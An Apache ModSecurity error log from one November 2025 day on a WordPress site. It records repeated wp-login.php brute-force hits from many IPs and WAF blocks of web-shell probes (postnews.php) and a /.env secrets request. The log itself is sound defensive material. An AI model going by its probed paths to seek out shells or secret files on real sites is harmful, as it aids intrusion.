[Tue Nov 18 08:52:04.458431 2025] [:error] [pid 61482:tid 61505] [client 43.166.136.153:41192] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRvDNPtNHsWZClVWav52gAAAANI"]
[Tue Nov 18 09:03:22.635975 2025] [:error] [pid 61393:tid 61464] [client 20.225.200.144:35314] [client 20.225.200.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.225.200.144, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvF2mH9XjlbVPv9gQVDfgAAAIg"]
[Tue Nov 18 09:03:24.098332 2025] [:error] [pid 61393:tid 61461] [client 20.225.200.144:35314] [client 20.225.200.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.225.200.144, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvF3GH9XjlbVPv9gQVDfwAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 09:06:23.650083 2025] [:error] [pid 29195:tid 29207] [client 198.54.114.63:40426] [client 198.54.114.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.63, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvGjxMeonxy_4yeOTVhUgAAAQo"]
[Tue Nov 18 09:06:24.855049 2025] [:error] [pid 29195:tid 29197] [client 198.54.114.63:40426] [client 198.54.114.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.63, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvGkBMeonxy_4yeOTVhUwAAAQA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 09:08:22.140229 2025] [:error] [pid 28635:tid 28639] [client 198.54.120.16:34776] [client 198.54.120.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvHBmB61AnWhG54Xz3W5gAAAcE"]
[Tue Nov 18 09:08:23.606631 2025] [:error] [pid 28635:tid 28649] [client 198.54.120.16:34776] [client 198.54.120.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvHB2B61AnWhG54Xz3W5wAAAcs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 09:29:20.898531 2025] [:error] [pid 61482:tid 61508] [client 209.145.52.3:55958] [client 209.145.52.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.145.52.3, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvL8PtNHsWZClVWav5__AAAANU"]
[Tue Nov 18 09:29:21.973480 2025] [:error] [pid 61482:tid 61495] [client 209.145.52.3:55958] [client 209.145.52.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.145.52.3, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvL8ftNHsWZClVWav6AAAAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 09:35:00.052206 2025] [:error] [pid 42804:tid 42830] [client 194.164.126.55:57248] [client 194.164.126.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.164.126.55, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvNRPpXARlE6tIuBnmH6gAAAVg"]
[Tue Nov 18 09:35:01.274939 2025] [:error] [pid 42804:tid 42829] [client 194.164.126.55:57248] [client 194.164.126.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.164.126.55, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvNRfpXARlE6tIuBnmH6wAAAVc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 09:46:13.573804 2025] [:error] [pid 9935:tid 9947] [client 162.0.232.105:60814] [client 162.0.232.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.105, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvP5QWOMXsrZFRF6sgVxgAAAYo"]
[Tue Nov 18 09:46:16.834606 2025] [:error] [pid 9935:tid 9952] [client 162.0.232.105:60814] [client 162.0.232.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.105, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvP6AWOMXsrZFRF6sgVyQAAAY8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 09:46:23.772963 2025] [:error] [pid 28635:tid 28645] [client 66.29.153.108:37756] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvP72B61AnWhG54Xz3iNwAAAcc"]
[Tue Nov 18 09:46:25.083243 2025] [:error] [pid 28635:tid 28642] [client 66.29.153.108:37756] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvP8WB61AnWhG54Xz3iOAAAAcQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 09:46:40.159845 2025] [:error] [pid 61393:tid 61461] [client 162.0.232.105:60772] [client 162.0.232.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.105, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvQAGH9XjlbVPv9gQVMbAAAAIU"]
[Tue Nov 18 09:46:41.749110 2025] [:error] [pid 61393:tid 61466] [client 162.0.232.105:60772] [client 162.0.232.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.105, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvQAWH9XjlbVPv9gQVMbQAAAIo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 09:48:38.207196 2025] [:error] [pid 61392:tid 61449] [client 154.53.62.61:44392] [client 154.53.62.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.53.62.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvQdnSmvb496zZxueIHzAAAAFQ"]
[Tue Nov 18 09:49:22.452815 2025] [:error] [pid 42804:tid 42812] [client 162.0.232.105:44534] [client 162.0.232.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.105, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvQovpXARlE6tIuBnmKxAAAAUY"]
[Tue Nov 18 09:49:24.200944 2025] [:error] [pid 42804:tid 42809] [client 162.0.232.105:44534] [client 162.0.232.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.105, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvQpPpXARlE6tIuBnmKxQAAAUM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 10:13:06.785874 2025] [:error] [pid 61393:tid 61479] [client 209.145.52.3:37966] [client 209.145.52.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.145.52.3, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvWMmH9XjlbVPv9gQVSnQAAAJc"]
[Tue Nov 18 10:13:10.382840 2025] [:error] [pid 61393:tid 61459] [client 209.145.52.3:37966] [client 209.145.52.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.145.52.3, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvWNmH9XjlbVPv9gQVSoAAAAIM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 10:18:23.334927 2025] [:error] [pid 61482:tid 61492] [client 3.108.243.0:55772] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvXb_tNHsWZClVWav6MRgAAAMU"]
[Tue Nov 18 10:18:27.702852 2025] [:error] [pid 61482:tid 61501] [client 3.108.243.0:55772] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvXc_tNHsWZClVWav6MTgAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 10:27:17.029368 2025] [:error] [pid 28635:tid 28661] [client 209.145.52.3:60320] [client 209.145.52.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.145.52.3, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvZhWB61AnWhG54Xz3vaQAAAdc"]
[Tue Nov 18 10:27:18.743123 2025] [:error] [pid 28635:tid 28644] [client 209.145.52.3:60320] [client 209.145.52.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.145.52.3, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvZhmB61AnWhG54Xz3vbQAAAcY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 10:28:40.181934 2025] [:error] [pid 9935:tid 9948] [client 38.242.139.166:49322] [client 38.242.139.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.242.139.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvZ2AWOMXsrZFRF6sgnAwAAAYs"]
[Tue Nov 18 10:28:41.379369 2025] [:error] [pid 9935:tid 9945] [client 38.242.139.166:49322] [client 38.242.139.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.242.139.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvZ2QWOMXsrZFRF6sgnBQAAAYg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 10:50:14.756948 2025] [:error] [pid 28635:tid 28657] [client 198.54.120.130:52494] [client 198.54.120.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRve5mB61AnWhG54Xz34CwAAAdM"]
[Tue Nov 18 10:50:16.674765 2025] [:error] [pid 28635:tid 28656] [client 198.54.120.130:52494] [client 198.54.120.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRve6GB61AnWhG54Xz34FgAAAdI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 10:58:26.341608 2025] [:error] [pid 9935:tid 9958] [client 211.21.61.244:48024] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.244, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvg0gWOMXsrZFRF6sg2cQAAAZU"]
[Tue Nov 18 11:00:03.875458 2025] [:error] [pid 61393:tid 61476] [client 211.21.61.244:50138] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.244, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvhM2H9XjlbVPv9gQVfQQAAAJQ"]
[Tue Nov 18 11:00:08.004780 2025] [:error] [pid 61393:tid 61476] [client 211.21.61.244:50138] [client 211.21.61.244] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.70.107_2d969d8071b542d61d3e68d48bb83cae7a49d5cb"): Internal error (specific information not available) [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvhM2H9XjlbVPv9gQVfQQAAAJQ"]
[Tue Nov 18 11:00:09.854928 2025] [:error] [pid 61393:tid 61472] [client 211.21.61.244:50138] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.244, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvhOWH9XjlbVPv9gQVfRgAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 11:23:14.083212 2025] [:error] [pid 29195:tid 29206] [client 45.138.16.150:64676] [client 45.138.16.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/postnews.php"] [unique_id "aRvmohMeonxy_4yeOTWEJgAAAQk"]
[Tue Nov 18 11:23:23.439141 2025] [:error] [pid 61391:tid 61420] [client 45.138.16.150:64533] [client 45.138.16.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/postnews.php"] [unique_id "aRvmq4wXIKmhlnkP3-elGQAAABQ"]
[Tue Nov 18 11:23:28.431126 2025] [:error] [pid 61391:tid 61421] [client 45.138.16.150:56619] [client 45.138.16.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/postnews.php"] [unique_id "aRvmsIwXIKmhlnkP3-elIAAAABU"]
[Tue Nov 18 11:29:43.199134 2025] [:error] [pid 33282:tid 33303] [client 154.53.62.61:49452] [client 154.53.62.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.53.62.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvoJ4QvPz65IdvoMwXmiQAAAlI"]
[Tue Nov 18 11:29:45.401383 2025] [:error] [pid 33282:tid 33308] [client 154.53.62.61:49452] [client 154.53.62.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.53.62.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvoKYQvPz65IdvoMwXmiwAAAlc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 11:39:51.808165 2025] [:error] [pid 61391:tid 61424] [client 42.96.37.226:45736] [client 42.96.37.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.37.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRvqh4wXIKmhlnkP3-erEAAAABg"]
[Tue Nov 18 11:47:52.581776 2025] [:error] [pid 9935:tid 9951] [client 211.21.61.244:40008] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.244, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvsaAWOMXsrZFRF6shJMwAAAY4"]
[Tue Nov 18 11:47:54.035880 2025] [:error] [pid 9935:tid 9948] [client 211.21.61.244:40008] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.244, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRvsagWOMXsrZFRF6shJNQAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 11:51:24.262129 2025] [:error] [pid 44624:tid 44649] [client 182.42.111.156:37529] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRvtPCllffozoBluWCXWgwAAAZY"]
[Tue Nov 18 12:27:52.786054 2025] [:error] [pid 44560:tid 44577] [client 192.64.112.17:59292] [client 192.64.112.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.112.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRv1yAnbP7etF3q5-5sNZwAAAMY"]
[Tue Nov 18 12:27:55.690303 2025] [:error] [pid 44560:tid 44580] [client 192.64.112.17:59292] [client 192.64.112.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.112.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRv1ywnbP7etF3q5-5sNawAAAMk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 12:30:01.936228 2025] [:error] [pid 44560:tid 44578] [client 143.110.186.250:49288] [client 143.110.186.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.186.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRv2SQnbP7etF3q5-5sOjwAAAMc"]
[Tue Nov 18 12:30:04.823442 2025] [:error] [pid 44560:tid 44584] [client 143.110.186.250:49288] [client 143.110.186.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.186.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRv2TAnbP7etF3q5-5sOlQAAAM0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 12:43:02.176784 2025] [:error] [pid 44472:tid 44551] [client 192.64.112.17:55280] [client 192.64.112.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.112.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRv5VoKhGwkiLjv8BQx6QgAAAVQ"]
[Tue Nov 18 12:43:03.992288 2025] [:error] [pid 44472:tid 44552] [client 192.64.112.17:55280] [client 192.64.112.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.112.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRv5V4KhGwkiLjv8BQx6RgAAAVU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 12:51:34.331653 2025] [:error] [pid 44624:tid 44646] [client 192.64.112.17:60856] [client 192.64.112.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.112.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRv7VillffozoBluWCXygAAAAZM"]
[Tue Nov 18 13:15:29.369686 2025] [:error] [pid 44624:tid 44634] [client 68.65.123.107:45712] [client 68.65.123.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.123.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwA8SllffozoBluWCX6pgAAAYc"]
[Tue Nov 18 13:15:30.802997 2025] [:error] [pid 44624:tid 44630] [client 68.65.123.107:45712] [client 68.65.123.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.123.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwA8illffozoBluWCX6qAAAAYM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 13:17:46.024625 2025] [:error] [pid 44470:tid 44477] [client 172.121.41.155:16389] [client 172.121.41.155] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aRwBejv-RLYfULjlgDZk6QAAAEI"]
[Tue Nov 18 13:36:02.574798 2025] [:error] [pid 1387:tid 1404] [client 66.29.153.199:50742] [client 66.29.153.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwFwkzBvalKyx3hMvXqXAAAAAs"]
[Tue Nov 18 13:36:04.518075 2025] [:error] [pid 1387:tid 1401] [client 66.29.153.199:50742] [client 66.29.153.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwFxEzBvalKyx3hMvXqZgAAAAg"], referer: https://rcacivilgroup.com/wp-login.php
